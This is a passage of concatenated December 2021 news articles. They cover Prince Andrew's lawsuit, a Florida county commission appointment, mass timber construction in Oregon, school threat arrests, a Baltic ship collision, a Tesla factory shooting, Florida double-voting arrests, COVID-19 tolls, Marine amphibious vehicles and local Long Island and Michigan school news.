though Lin was able to save on certain aspects of her trip, she was realistic about the financial commitment. "Obviously Disney World is expensive. Everyone knows that going in." This article originally appeared on USA TODAY: Disney World splurges: How to see the parks like a VIP and still save Associated Press A judge was mostly dismissive Tuesday of arguments by a lawyer for Prince Andrew who wants to win fast rejection of a lawsuit filed by a woman who says she was sexually trafficked to the royal by the millionaire Jeffrey Epstein when she was 17. U.S. District Judge Lewis A. Kaplan did not immediately rule at the end of a video conference, but he made clear that he was not leaning Andrews way as he rejected much of the reasoning offered by the prince's attorney, Andrew Brettler, who said the case should absolutely be dismissed. Kaplan repeatedly shot down Brettler's arguments or disputed them with other reasoning. St. Johns County's newest commissioner is a nonprofit worker focused on community service and smart growth. Gov. Ron DeSantis appointed Sarah Arnold, the director of resource development for the United Way of St. Johns County, to fill the vacancy on the St. Johns County Commission left by Jeb Smith. DeSantis' office made the announcement in a press release on Monday. "I'm honored to have been selected by the governor," Arnold said. County Commission: Longtime St. Johns County commissioner Jeb Smith resigns to serve as Farm Bureau president Growth and development: Magic Beach Motel sale falls through She will take the oath of office at the beginning of the commission meeting Tuesday at the county auditorium at 500 Sebastian View. The meeting will start at 9 a.m. Arnold, 36, and her husband, Casey, live in northwest St. Johns County and have four children: Audrey, 13; Anderson, 11; Ella Blake, 9; and Ophelia, 6. They have lived in St. Johns County for almost 13 years, she said. Arnold grew up in Mandarin. She attended the University of Florida but didn't graduate because of a family crisis, Arnold said in an email to The Record. Arnold The family lives in the northern part of District 2, which Smith represented and which includes part of rural St. Johns County. Smith was first elected in 2014 and resigned Nov. 2 to serve as the Florida Farm Bureau president. Commission seats are elected offices. But when a commissioner resigns early, the governor appoints someone after reviewing applicants for the role. The governor's office hasn't disclosed who else applied for the role. On Nov. 30, The Record requested copies of every application for the commission seat from the governor's press office. The governor's Press Secretary Christina Pushaw responded on Dec. 2 and referred the request to the governors Office of Open Government. The office acknowledged receipt of the request on Dec. 6. On Tuesday, a legal assistant said via email that the office was still compiling the files. Story continues The press office did not immediately respond to a request on Tuesday morning to discuss over the phone who else applied and why DeSantis chose Arnold, but the press release from his office cited her nonprofit work and community service. Arnold said she applied for the commission seat because she believes the commission will benefit from having perspective from a woman and a mother the other commissioners are men. One of her focuses as a commissioner will be smart growth, she said. "My passion is service and working toward the betterment of our community, and this was a natural extension of that," she said. In her daily work at the United Way, she is primarily involved in event planning and fundraising, she said. Arnold was a 2019 honoree in The St. Augustine Record's "40 Under Forty." She serves on boards of the Dream Big! Foundation and the Child Guidance Center of Jacksonville, according to the governor's office. She is a member of the Rotary Club of St. Johns and volunteers with Armstrong Meal Distribution and Read for the Record. This will be her first time serving as a commissioner in St. Johns County or elsewhere, she said. Though not all of them know her, commissioners expressed their support for Arnold on Tuesday and said they look forward to working with her. Commissioner Christian Whitehurst said he has met Arnold through United Way and knows her husband through mutual friends. "I'm excited to have Sarah on the Commission, and certainly I'm looking forward to working with a full board of commissioners again," Whitehurst said. Commissioner Jeremiah Blocker said Arnold's nonprofit experience and community involvement, and the fact that she is a woman and mother, will provide a needed voice on the board. "I'm very excited. I think it's outstanding. I think she's really going to add to our, kind of, diversity of thought," he said. CORRECTION: A previous version of the story said that Sarah Arnold graduated from the University of Florida. She attended the university but did not graduate because of a family crisis. Updated about 11:30 a.m. on Dec. 20, 2021. This article originally appeared on St. Augustine Record: Nonprofit official Sarah Arnold to join St. Johns County Commission The west stair and lobby entrance of The Phil and Penny Knight Campus for Accelerating Scientific Impact. Mass timber, a category of wood construction material that can replace steel and concrete for primary load-bearing functions, was used in the Knight science building on the UO campus. This story originally posted Sept. 3, 2019. For a growing crop of revolutionary constructions in Oregon, wood is the new steel. The canopy of a redesigned Hayward Field is built from mass timber, a category of wood construction material that can replace steel and concrete for primary load-bearing functions. And the first deliveries of cross-laminated timber arrived a few weeks ago for construction at the University of Oregons Knight Campus for Accelerating Scientific Impact, where it will be used to build its mezzanines. When the city of Springfield planned a four-story parking garage in Glenwood, hopeful designers looked to that super-strong wood. And though voters rejected a bond issue to build it, Lane Countys new courthouse would likewise have risen from mass timber products. Mass timber also called engineered or composite wood is increasingly popular in construction projects across the country, but especially in the Pacific Northwest, where most of the products American research, manufacturing and building is concentrated. New owners: 'We don't anticipate operational changes' at Seneca's Lane County sawmills Economically and environmentally, its really a winner for the state, UO architecture professor Judith Sheine said. Mass timber is generally made by binding together sheets of wood, creating a kind of plywood capable of replacing steel even in high rise buildings. Though construction with such engineered wood became popular in Europe during the 1990s, its use in the United States is new. But using engineered timber products is catching on in large part because its seen as a more sustainable construction material. Oregon is home to mass timber manufacturers, such as DR Johnson Lumber in Riddle and Freres Lumber Co. in Lyons. The state was the first in the country to change its building code to allow for timber structures higher than six stories, primarily because of mass timbers growing popularity. Story continues WoodWorks, which provides design assistance for wood builders, counts nearly 600 mass timber projects finished or being built in the United States since 2011. At 44, Oregon has the fourth most of those buildings behind California, Washington and Texas, respectively. Portland has Oregons greatest concentration of mass timber buildings. Ethan Martin, a Woodworks regional director involved in Oregon projects, said he recently canceled a vacation because of mass timbers popularity. Theres too many projects coming up, Martin said. I was getting four to five a day coming in. Martin said American builders are becoming more familiar with mass timber, counting it now as a tool in their toolboxes. Its advent is giving designers a new way to work, but he said there still are many too unfamiliar with mass timber to use it extensively. Youll see a much grander adoption as people get more comfortable with it, Martin said. Opinion: To achieve Glasgow's climate goals, end old-growth logging at home Cross-laminated timber, made from gluing solid-sawn lumber together, is used in more than half of all U.S. mass timber projects, according to Woodworks statistics. Thats whats going into construction at the Knight campus, but only in parts of the building. Sheine, director of design at the UO/Oregon State University collaborative TallWood Design Institute, said there was unease about using cross-laminated in the buildings science labs for fear vibrations through the wood might damage expensive scientific equipment. So the Knight campus mezzanines alone will be built from the mass timber product, she said. But UO is using glued laminated timber, an older kind of mass timber product sometimes called glulam, to build the canopy going up around Hayward Field. Glulam beams are being used to sandwich hollow steel box beams for that project, Sheine said. Given the history of Oregon and timber, it just seemed appropriate, Sheine said. At OSU, the George W. Peavy Forest Science Center is being built of mass timber. But new monies are allowing designers there to reimagine a future building in wood. Last month, the U.S. Department of Agriculture Forest Service awarded $1 million through the Mass Timber University Grant Program to 10 institutions in seven states. One was OSU, which will use the funds to decide if it can build a new arts and education complex from mass timber. We dont know the answer yet, university architect Libby Ramirez said. The arts and education complex was born from a $25 million anonymous gift, though more funding will be needed to build it, Ramirez said. The project is in its schematic design phase, but the federal grant is letting the university go back to the drawing board. Statewide: Agreement overhauls private forest management in Oregon Part of the decision will involve bringing in experts on acoustics to determine what effects a mass timber construction might have on sound quality for an arts complex, Ramirez said. Mass timber also may be able to bring down the cost of the building, she said. This could be a really great opportunity, Ramirez said. Mass timber products can be made from smaller trees because it is a composite material, something Martin said increases its long-term viability as a building material as people spend more time and energy on seeking sustainable solutions to environmental concerns. Were not cutting down old growth trees, Martin said. Mass timber really has become a competitive product. Though its possible to use trees with a diameter as small as 4 inches, Martin said the demand for mass timber products hasnt yet made it economically viable to harvest trees that small. But the wood felled for mass timber products still can be smaller than old growth. Sheine said this is because wood is capable of carbon sequestration, because each piece of mass timber can be digitally manufactured to reduce waste and because a lighter building requires less concrete be poured onto its foundation. We can make efficient, beautiful and incredibly sustainable buildings, Sheine said. Who wouldnt be excited about that? This article originally appeared on Register-Guard: Mass timber's popularity growing in Oregon, Pacific Northwest Blaine Police say they have arrested a 12-year-old suspect, after a second concerning graffiti incident in less that a week was found on a school campus, Tuesday Dec. 14. The graffiti on Tuesday was found in a boys restroom on the middle school campus, according to a Blaine Police Department release Tuesday, and it was similar to an incident that prompted the school district to institute a lockout on Friday, Dec. 10. The second incident referenced a school shooting that would occur on Wednesday, Dec. 15, the police reported Blaine Police were notified and conducted an investigation that led to the identification of a juvenile suspect, police said. The suspect was arrested without incident and booked into the Whatcom County Juvvenile Detention Center. The Blaine School District did not need to implement its Standard Response Protocols due to Tuesdays incident, an earlier joint release from the Blaine School District and Blaine Police Department stated. But the school district and police said it was important that they address the recent sharp increase in the number of social media posts, texts and graffiti by students that are inappropriate and/or threaten the safety of our schools. Blaine is not alone in seeing incidents of this type, as multiple school districts in Whatcom County experienced threats or were forced into lockout/lockdown last week. In the vast majority of cases, these posts turn out to be non-credible threats where students did not intend harm or do not have access to weapons that could cause harm to a school, the Blaine release read. Students will often say the online post or threat was a joke. We want to emphasize to you that the safety of our children is not a joke. In every case, we have a duty to immediately respond and assume the threat could be credible until the investigation is complete. ... In addition, the broader impact on the entire school community cannot be overstated. This behavior always causes unnecessary worry and concern among all parents, students and staff. Story continues In an effort to reduce the chances of future threats having an impact on students, teachers, administrators, families and the rest of the community, the school district and police asked parents to: Talk to their children about the consequences of posting or sharing inappropriate content or threats of violence online, including the long-term consequences such actions could have on their future. Everything they post or share can become public even if its only shared with one person, the release stated. Monitor their childs online and social media behavior. Remind children to alert school administrators if they see something that appears threatening. The Blaine School Districts online reporting tool is available at blainesd.org/page/harassment-intimidation-bullying, or tips can be texted to 844-201-8732. Reassure their students that many people are working behind the scenes to keep schools safe. We commit to you that every threat will be taken seriously. Blaine School District and Blaine Police Department work collaboratively to ensure threats are fully investigated and resolved, the release stated. There are consequences for students who are guilty of threatening our schools, students or staff, and we will work together to identify those responsible for these threats and apply significant disciplinary consequences, regardless of the intent. A model of the nearby Peace Arch stands at Blaine High School Jan 21, 2015. Recent threats in county Throughout the past week, multiple school districts across Whatcom County have experienced threats and others have had several lockout/lockdown situations. Bellingham Public Schools has been dealing with multiple forms of electronic harassment and threats over the past week, which include harassing Instagram accounts with anti-LGBTQIA+, racist and threatening messages, and electronic messages threatening violence on specific school campuses, The Bellingham Herald previously reported. A 16-year-old male Sehome High School student was arrested Saturday, Dec. 10, according to a Bellingham Police Department release, during the investigation into threats made at school last week. The unnamed student was booked into the Whatcom County Juvenile Detention Facility for threats to bomb or injure property. Investigators did not find a gun or bomb in his possession when he was arrested, according to police. Threats led school administrators to secure the school twice last week and close the school on Thursday, Dec. 9. An airdrop message was sent to students Monday, Dec. 6, alleging there was a bomb on campus. And another threat via airdrop was sent Wednesday, Dec. 8, police said. Those two threats followed a Dec. 3 airdrop threat reported by several Sehome High School students who got a message on their phones that mentioned someone had a gun, police said. During that investigation, police learned that a student had a gun on campus, according to the release. A 16-year-old student was then arrested for having an airsoft Glock 17 replica on school grounds and charges were to be referred to the prosecutors office. That student is not believed to have been involved in subsequent threatening messages, police said. Several other schools in the district last week, including Shuksan Middle School and Bellingham High, also investigated threats which were determined not to be credible. In Ferndale, a student who reportedly brought a weapon to Ferndale High School, forcing the school into a three-hour-long lockdown on Wednesday, Dec. 1, turned himself in to law enforcement the following day, according to previous reporting in The Herald. The weapon was seized and confirmed to be a BB gun. Charges in the case have also been referred to the county prosecutors office. All those threats came after a pair of graffiti threats were found on the Mount Baker School High School campus in October. By Johan Ahlander STOCKHOLM (Reuters) -A Danish ship involved in a collision off the Swedish coast that left one crew member dead and another missing has started to take on water and may soon sink, the Swedish Coast guard said on Wednesday. At least one person, a Danish crew member from the 55-metre barge Karin Hoj, died in the collision with the 90-metre Scot Carrier, which occurred in fog and darkness off the Danish island of Bornholm in the early hours of Monday. Karin Hoj capsized from the collision but remained afloat, and was towed to shallow water where it was searched. It has now started to take in more water and an unknown quantity of oil has leaked from the barge. "The ship sinking is not something we wanted but have been prepared for," the Coast Guard said in a statement. "We are now working to limit the oil spill." It added the ship would still be salvaged but that the process would take longer if it sank. A Swedish prosecutor said earlier on Wednesday that a Croatian national and crew member of the Scot Carrier had been released although he remained under investigation in connection with the incident. A British crew member, held over the collision on several counts including causing death through negligence, remains in custody, Public Prosecutor Tomas Olvmyr said in a statement. A lawyer for the Croatian crew member said he welcomed the decision and denied any wrongdoing. The lawyer for the British citizen declined to comment. The prosecutor said on Tuesday both crew members were found after the collision to be over the legal limit for alcohol. The collision triggered a large rescue operation, which led to the discovery of the dead body of one of the two Danish barge crew members in the hull of the vessel. The other crew member remains missing. Scotline, which owns the Scot Carrier, said in a statement on Tuesday that the crew and company were co-operating fully with the investigation. (Reporting by Niklas Pollard and Johan Ahlander; Editing by Simon Johnson, Gareth Jones, Alexandra Hudson) The Tesla plant in Fremont, Calif., where a man was found fatally shot in a parking lot Monday. Detectives said the suspect had walked off the job after arguing with the victim earlier in the day. (Ben Margot / Associated Press) A Tesla employee in Northern California is dead and another has been arrested after a fatal shooting outside the company's Fremont factory on Monday afternoon. Detectives arrested Anthony Solima, 29, of Milpitas on a homicide warrant Monday night, according to the Fremont Police Department. Jail records show Solima is being held on suspicion of murder and is scheduled to be arraigned Thursday afternoon. Tesla representatives did not respond to emails from The Times seeking comment on Monday or Tuesday. The incident began with a call for medical aid, police said. Firefighters responded at 3:26 p.m. to a parking lot at Tesla's factory in the 45000 block of Fremont Boulevard, police said. Upon arrival, they found a man who was unresponsive and had suffered a visible injury. Firefighters called for police, and officers determined the victim suffered at least one gunshot wound. He was pronounced dead by medical personnel shortly after. Officers began their investigation, recovering several spent .223-caliber rifle casings, police said. Homicide detectives said the victim had finished his shift at the factory and walked out to the parking lot where he was shot. "Within several hours, detectives developed leads on a potential suspect who also worked with the victim," police said. "Detectives learned that the victim and suspect had been arguing earlier in the day and that the suspect had suddenly walked off the job." Detectives found Solima in Milpitas and surveilled him while other detectives worked to solidify the case, police said. The surveillance team continued to monitor Solima "until an opportunity presented itself to arrest [him] when he exited his vehicle." Solima surrendered immediately, police said. Investigators found a loaded, non-serialized, .223-caliber, short-barrel rifle in his car along with a shell casing. Police confirmed to The Times that the gun was a "ghost gun." These firearms are typically made from 3-D-printed polymer parts. The guns can be assembled at home using kits and are often relatively inexpensive. Story continues Because they are not made by licensed manufacturers, they lack serial numbers, making them impossible to track. This year, the Los Angeles Police Department declared ghost guns an epidemic. Fremont police are continuing their investigation into Monday's shooting. The victim hasn't yet been publicly identified. Anyone with information about the case, or who recognizes Solima from the day of the shooting, is asked to call Fremont police at (510) 790-6900 or email Det. Michael Gebhardt at mgebhardt@fremont.gov. Anonymous tips can be submitted by texting "Tip FremontPD," followed by a short message, to 888777. This story originally appeared in Los Angeles Times. Leaders from Texas Tech and Lubbock Christian signed an agreement that will create new possibilities and degree options for students at both schools. Texas Tech University and Lubbock Christian University signed an updated articulation agreement on Wednesday that will allow students to seamlessly transfer select hours between the two schools. Both university presidents and provosts were present at the signing as well as many other faculty and staff. This agreement provides a unique opportunity for students to simultaneously earn degrees from two universities in the same city, Texas Tech President Lawrence Schovanec said. Not only will this partnership benefit both Texas Tech and Lubbock Christian, more importantly, it offers students additional options toward achieving their academic and career goals. Schovanec The two universities have partnered in the past, but the new agreement will open doors for even more collaboration between the schools combined 210 undergraduate degree programs. The Lubbock Christian academic community is excited to strengthen our partnership with Texas Tech, Lubbock Christian President Scott McDowell said. This collaboration has the potential to expand the academic pursuits of our students by allowing them to achieve an undergraduate degree from both schools simultaneously. LCU President Dr. Scott McDowell We have already seen the benefits of this cooperative approach with our mathematics students prepping for engineering at Texas Tech, and we are excited about broadening these opportunities to a variety of disciplines. The unique partnership will provide innovative and challenging opportunities for students throughout the Lubbock community. Plans are underway to create specific degree programming within the new agreement. This article originally appeared on Lubbock Avalanche-Journal: Texas Tech, Lubbock Christian sign updated articulation agreement Damage following the powerful storms and tornadoes on Dec. 11 in Dickson County. A tornado that caused major damage in Cheatham County initially touched down on the edge of White Bluff in Dickson County before continuing east, according to emergency management officials. A portion of the EF-2 tornado with 125 mph winds started in White Bluff and followed a path 400 yards wide and 10.5 miles long. In White Bluff, there were multiple power outages but minor structural damage, according to a statement from the Dickson County Emergency Management Agency. Kingston Springs, in Cheatham County, suffered major structural damage and one injury was reported, according to the local EMA. Other tornadoes in Dickson County included an EF-2 that was 500 yards wide and was on the ground for around eight miles in Dickson, reaching speeds up to 135 mph. This storm caused damage to over 60 homes with eight of them being destroyed and resulting in two injuries. Almost a mile of power lines and poles were damaged. In Burns, an EF-1 tornado with wind speeds of 110 mph was 175 yards wide and 5.3 miles long causing damage to 10 homes and structures. No injuries were reported. Damage in the industrial park following the powerful storms and tornadoes on Dec. 11 in Dickson County. Dickson Electric System update Dickson Electric System officials estimate 150 to 200 broken poles from this single weather event, describing it as one of the worst in years. According to DES officials, three main areas in the DES service territory suffered the most damage: Murrell Road in Dickson -More than 25 broken poles and destruction to the south along Murrell Road. Includes East Piney and Mt. Sinai Roads, among others, 400 customers were originally out, down to under 100 customers as of Wednesday morning. -Crews have been working to change out poles for days, and we have four crews including engineers and contractors working along Murrell Road today. Industrial Park in Dickson/Sanker Road Included a number of large industrial customers in addition to residents in the area, over 500 customers originally affected. More than 30 poles brought down in the Industrial Park and Sanker Road areas combined Story continues Crews were able to restore power to a portion of the customers affected Sunday night and completed the final pole change outs by 3 p.m. on Monday. Highway 70 East in South Cheatham County Hardest hit area with widespread devastation to homes, businesses, and our electrical infrastructure. Approximately 45 broken poles along Highway 70, from White Bluff to Pegram. Initially lost power to over 3,500 customers in the area; now less than 300 out. Two TVA transmission towers were brought down by the storm. We have seven crews working there at various spots along Highway 70. Elizabeth Kuhns, a spokesperson for the DES, said we want to recognize and thank our incredible employees who are working tirelessly to get the lights on and serve our customers around the clock. Utilities that have helped in restoring power include CDE Lightband, Lawrenceburg Utilities, and Tullahoma Utilities as well as Davis H. Elliot and Asplundh crews. Related: Severe weather updates: At least 15 tornadoes touched down in Middle TN Related: See the damage after severe storms swept across Nashville and Tennessee This article originally appeared on Nashville Tennessean: Third tornado confirmed in Dickson County, power restoration continues Three voters from Florida have been arrested on charges of voting more than once in the 2020 presidential elections. The three are all residents of The Villages community in Florida and were arrested over the last two weeks. They include, Jay Ketcik, 63; Joan Halstead, 71; and John Rider, 61. VOTER FRAUD HAS BEEN DISCOVERED IN FL! Three Trump supporting Republicans from the MAGA Capitol of FL - The Villages - have just been arrested and charged with voting more than once in the 2020 election. pic.twitter.com/AgDzYdqXlP Ron Filipkowski (@RonFilipkowski) December 14, 2021 Of the three, Mr Ketcik and Ms Halstead have been charged with voting once in Florida and once in other states through absentee votes, reported the Associated Press (AP). Court documents show that Mr Ketcik has been accused of voting by mail in Florida in October 2020 and then casting an absentee ballot again in Michigan. He was arrested last week on a charge of third-degree felony fraud. Ms Halstead, who was arrested two weeks ago, has been similarly charged with voting more than once. According to an arrest report she was booked two weeks ago for voting in person in Florida and by absentee ballot in New York. The two are registered Republicans and have entered not guilty pleas saying that they intend to attack the sufficiency of the charges against them. The duos Facebook pages also contain several posts, expressing support for former president Donald Trump. However, it is not known which party the three voted for, reported news4jax. On the other hand, an arrest report has not detailed the charges faced by Mr Rider who was arrested in early December, reported AP. The arrests come a month after Florida Governor Ron DeSantis proposed a new law enforcement agency to probe electoral fraud, even though there has been little evidence of malpractice in the 2020 elections. Story continues Mr DeSantis who is facing a re-election bid next year and is also eyeing a 2024 presidential run, has promised new restrictions on ballot drop boxes, creating the election police force and changes that would strengthen penalties for ballot harvesting. While announcing these measures, he echoed voting problems that have gained traction in the GOP following Mr Trumps false claims that the 2020 reelection was stolen from him. However, the governor has previously praised the 2020 election in Florida as smooth. Last year, the Department of Justice had said that there was no evidence of voter fraud in the 2020 elections. Read More Two zebras on the run from Maryland farm have finally returned What's going on with Ghislaine Maxwell's sex abuse trial? Far too little vote fraud to tip election to Trump, AP finds Biden: Nation owes school shooting victims more than prayers What's your religion? In US, a common reply now is "None" Resale is making gains in December holiday gift shopping The United States has now surpassed 800,000 confirmed COVID-19 deaths, according to data tracked by Johns Hopkins University. Thats more than the population of Seattle (about 737,000), Denver (about 715,000), or Washington, D.C. (about 690,000). Its roughly equivalent to all of Kansas City, Missouri, (about 508,000) and Pittsburgh (about 303,000) combined. Its also the highest confirmed death toll in the world by country. Brazil has the second-most confirmed deaths, with 616,457, and India is next with 475,636. Americas elderly population has borne the brunt of the suffering. From the start of the pandemic, 75% of the deaths in the U.S. have been people 65 or older, according to a New York Times tracker; in all, 1 in 100 Americans over the age of 65 has died from COVID-19. Dr. Joseph Varon comforts a patient in the COVID-19 intensive care unit during the week of Thanksgiving at the United Memorial Medical Center in Houston, Texas. (Photo: Go Nakamura via Getty Images) Many of the countrys COVID-19 deaths could have been avoided. Unvaccinated individuals have made up the vast majority of deaths since vaccines became widely available in the U.S. in the spring of 2021, Centers for Disease Control and Prevention data shows. At the peak of the delta variant surge in late August, unvaccinated people over the age of 80 were dying at a rate nearly six times higher than their vaccinated peers. And unvaccinated 65- to 79-year-olds were more than 23 times more likely to die than their vaccinated peers: CDC data shows unvaccinated people were 14 times more likely to die from COVID-19 in September than their vaccinated peers. (Photo: Centers for Disease Control and Prevention) With 61% of the eligible U.S. population fully vaccinated and the highly mutated omicron variant spreading in the country, the number of deaths will likely continue to rise. Dr. Vin Gupta, a critical care pulmonologist and affiliate associate professor at the University of Washington, told NBC News he expects the overall U.S. death toll from COVID-19 to surpass 1 million in 2022. Thats just the reality of the situation, he said. The same people who didnt get an initial shot wont get boosters. Its a lot of preventable death. This article originally appeared on HuffPost and has been updated. Related... LONDON (AP) The U.K. recorded the highest number of confirmed new COVID-19 infections Wednesday since the pandemic began, and Englands chief medical officer warned the situation is likely to get worse as the omicron variant drives a new wave of illness during the Christmas holidays. Professor Chris Whitty described the current situation as two epidemics in one with omicron infections rising rapidly even as the country continues to grapple with the older delta variant, which is still causing a large number of infections. Public health officials expect omicron to become the dominant variant across the U.K. within days. Omicron already accounts for a majority of cases in London. The U.K. recorded 78,610 new infections on Wednesday, 16% higher than the previous record set in January. While scientists are still studying the risks posed by the highly transmissible omicron variant, Witty said the public should be braced for the figures to continue rising in coming weeks. There are several things we dont know, Whitty said. But all the things we do know are bad, the principal one being the speed at which this is moving. It is moving at an absolutely phenomenal pace. The comments came on the day that the U.K. government implemented new rules ordering masks to be worn in most indoor settings in England and requiring proof of vaccination or a negative coronavirus test to enter nightclubs and large crowded events. Britain is also accelerating its the national vaccination program, with a goal of offering a booster dose to every adult by the end of December. The government said within days it will open new mass vaccination centers at sports stadiums around the country, including Wembley, the 90,000-seat national soccer stadium in London. Whitty advised people to limit their social contacts, putting a priority on those that are the most important. I am afraid there will be an increasing number of omicron patients going into the NHS, going into hospital, going into intensive care, and exact ratios we dont yet know, but there will be substantial numbers, he said. That will begin to become apparent, in my view, fairly soon after Christmas." Story continues Despite the surge in infections, daily coronavirus-related deaths in the U.K. are well below last winters peak. Britain recorded 165 deaths on Wednesday, compared with a record 1,820 on Jan. 20. Public health officials credit widespread vaccination with weakening the link between COVID-19 infections, hospitalizations and deaths. Meanwhile, Britain is moving forward with a public inquiry into how the government has responded to the pandemic. Prime Minister Boris Johnson on Wednesday announced that Heather Hallett, a former Court of Appeal judge, would chair the inquiry, which is due to begin next spring. She brings a wealth of experience to the role and I know shares my determination that the inquiry examines in a forensic and thoroughgoing way the governments response to the pandemic, Johnson said. After pressure from bereaved families, Johnson agreed to hold an inquiry on his governments handling of the pandemic, which has left more than 146,000 people in Britain dead, the highest toll in Europe after Russia. The probe will have the power to summon evidence and to question witnesses under oath. The pressure group Bereaved Families for Justice said the announcement of a chairperson was a positive step but comes far too late. Weve been calling for an inquiry since the end of the first wave, and we will never know how many lives could have been saved had the government had a rapid review phase in summer 2020, said Matt Fowler, the groups co-founder. With the omicron variant upon us, the inquiry really cannot come soon enough. Hallett said she would be consulting bereaved families and others on the inquirys terms of reference. I shall do my utmost to ensure the inquiry answers as many questions as possible about the U.K.s response to the pandemic so that we can all learn lessons for the future, she said. Hallett oversaw inquests into the deaths of 52 people killed in the July 7, 2005 bombings on Londons transit system. Last month, she was appointed to lead an inquiry into the death of Dawn Sturgess, who died in 2018 after being exposed to Novichok, the Soviet-made nerve agent used to poison former Russian spy Sergei Skripal in the English city of Salisbury. Because of Halletts position with the COVID-19 probe, the government plans to find someone else to lead the inquiry to explore allegations of Russian involvement in Sturgess death. ___ Follow APs pandemic coverage at https://apnews.com/hub/coronavirus-pandemic KYIV (Reuters) - Ukraine's government will extend COVID-19 restrictions for another three months, to March 31 from end-December, because of low levels of vaccination, Prime Minister Denys Shmygal said on Wednesday. "Until the level of vaccination in Ukraine reaches 70% of the population, we must adhere to all imposed restrictions," Shmygal said at a televised government meeting. According to Ukrainian health ministry data, 12.6 million people have received two shots of COVID-19 vaccines out of a population of 41 million, while 3.6 million cases of infection and about 92,000 deaths have been registered. (Reporting by Natalia Zinets; Editing by Alex Richardson) Marines aboard an amphibious assault vehicle. US Navy photo by Mass Communication Specialist 1st Class RJ Stratchko The Marine Corps is barring its amphibious assault vehicles from waterborne operations except in a crisis. The Corps suspended those operations after an AAV sank and killed nine US troops last year but restarted them this year. The decision is a major reversal and comes even though the Corps says AAVs are "safe and effective" for amphibious operations. The US Marine Corps is pulling its amphibious assault vehicles from regular deployments and out of the water except in emergencies after a deadly accident last year, the service said in a statement. Commandant of the Marine Corps Gen. David Berger has decided that AAVs "will no longer serve as part of regularly scheduled deployments or train in the water during military exercises," that statement said. "AAVs will only return to operating in the water if needed for crisis response," the Corps said, noting that the vehicles will still be permitted to operate on land. The Marine Corps insisted that "the AAV is a safe and effective vehicle for amphibious operations" and that the decision "was made in the interest of the long-term health of the amphibious vehicle programs and future capabilities." An amphibious assault vehicle enters the ocean. U.S. Navy photo by Aviation Boatswains Mate (Handling) 3rd Class Lyndon Schwartz The decision comes about a year and a half after an AAV assigned to Bravo Company, Battalion Landing Team 1st Battalion, 4th Marines, part of the 15th Marine Expeditionary Unit sank off the coast of California during training, killing eight Marines and a Navy corpsman. It was the deadliest accident in the history of the AAV program. One of multiple investigations into the accident concluded that the tragedy was "preventable" and was caused by "a confluence of human and mechanical failures." Specifically, the vehicle was improperly maintained, training was inadequate, and critical safety procedures were not followed. In the aftermath, the Corps relieved multiple officers, including a two-star general. Though the Marine Corps suspended waterborne operations for AAVs almost immediately after the accident, the service decided in April to put them back in the water, provided that units met certain safety requirements. Story continues Pulling AAVs from regular deployments and waterborne operations permanently, with their use only being allowed in case of a crisis, is a major reversal. Marines drive new Amphibious Combat Vehicles on a beach. Marine Corps photo by Lance Cpl. Andrew Cortez The Corps is in the process of replacing its aging fleet of AAVs with the newer amphibious combat vehicles, which the service began receiving last fall. In September, the Marines announced that the service had "suspended waterborne operations of the Amphibious Combat Vehicle after identifying an issue with the towing mechanism," explaining that the decision was made "out of an abundance of caution." A spokesman for the Marine Corps told Marine Corps Times that the ACV is currently still unable to conduct waterborne operations, meaning that the service does not have any amphibious vehicles that are permitted to carry out waterborne operations under normal circumstances. Read the original article on Business Insider Happy Wednesday, neighbors! Here are the most important things going on around town today. First, today's weather: Rather cloudy. High: 49 Low: 44. Here are the top three stories in Westhampton-Hampton Bays today: The two Manorville teenagers who were missing in New York City were found unharmed on Tuesday. Vincent Abolafia and his girlfriend, Kaileigh Catalano, both 15, were found in Manhattan. They were missing since Thursday. (Patch) A Bridgehampton man was charged with engaging in sexual conduct with a child under the age of 13 in East Hampton. Jose Xiomar Vijil Villanueva, 49, was arrested on Friday at 11 a.m. and charged with the felony. (Patch) A dog discovered a rare turtle type on Shelter Island's Wades Beach. Kemp's ridley sea turtles are extremely endangered. The cold stunned turtle was transported to the New York Marine Rescue Center at the Long Island Aquarium in Riverhead. (Shelter Island Reporter) Today's Westhampton-Hampton Bays Daily is brought to you in part by our friends at GoodRx the best way to save money on your prescriptions. GoodRx helps you locate the lowest prices for medications at local pharmacies, so you're not overpaying. Works for pet medications too! To see how much you can save, go to GoodRx.com. Today in Westhampton-Hampton Bays: From my notebook: Looking for local holiday presents for kids? This list has Hamptons-sourced gift items like Baghera metal ride-on cars at Petit Blue in East Hampton. (Dan's Papers) Hampton Bays Superintendent of Schools Lars Clemensen was honored by New York State Sen. Anthony H. Palumbo for his efforts during the COVID-19 pandemic . (Facebook) The Hampton Bays Firemen performed a drill to practice car fire rescues after recent incidences. (Facebook) From our sponsors thanks for supporting local news! Story continues Featured businesses: Events: Announcements: Animal Communication Sessions. Holiday Gift Certificates. (Details) Add your announcement Gigs & services: Rt-PCR COVID-19 TEST, ACCURATE SAME DAY results, best test for travel (Details) Add your gig or service Loving the Westhampton-Hampton Bays Daily? Here are all the ways you can get more involved: Send a friend or neighbor this link so they can subscribe Get your local business listed in front of readers Send me a news tip or suggestion at WestHampton-HamptonBays@Patch.com Thanks for following along and staying informed. See you all tomorrow morning for another update! Jackie This article originally appeared on the Westhampton-Hampton Bays Patch CHEBOYGAN At the most recent Cheboygan Area Schools Board of Education meeting, district superintendent Paul Clark updated the board on newly reported standardized testing results. "The grades have just been released to the public," Clark said during his annual education report at the Nov. 22 meeting. "I had them a little sooner but today was the first day that they were actually released to the public." Paul Clark Clark wanted the board members and the public to keep in mind that the M-STEP scores being reported were from 2020. Also, the school district doesn't get an overall grade for the entire district, but there are categories where they are placed. "Keep in mind, last year was a very challenging year to say the least, I would say," said Clark. "There's some good news and there's some not so good news." In Michigan, students in third grade and older take standardized assessments each year. At Cheboygan Intermediate School, for grades 3-5, the school received a C for the number of students who are proficient in math and English/language arts. In growth the rate of students on track to reach or maintain proficiency on the math and English/language arts assessments within three years the school received a B grade. When compared to 30 other school districts around the state it is most similar to, Cheboygan Intermediate School received a B. When a smaller, subgroup of students were looked at, however, the school performed well above average compared to other schools around the state. In terms of attendance and assessment participation on testing days, the intermediate school was average. At Cheboygan Middle School, for grades 6-7, the school received a D in proficiency in math and English/language arts. For growth, they were given a C grade. In the performance among peers column, the middle school received an F grade. The subgroup's performance was also significantly below the average, but the attendance was average and assessment participation was above average. Story continues "So, we have a little work to do there," said Clark. Cheboygan Area High School, for grades 8-12, received a B for proficiency. The school was given a C when it came to growth, meaning those who are on track to reach or maintain proficiency. The high school earned an A when they looked at graduation rates of the students who were participating in the standardized testing, as well as the performance among peers receiving the same grade. With the student subgroup that was looked at with the testing, the students performed significantly above the state average. The attendance on the day of the testing 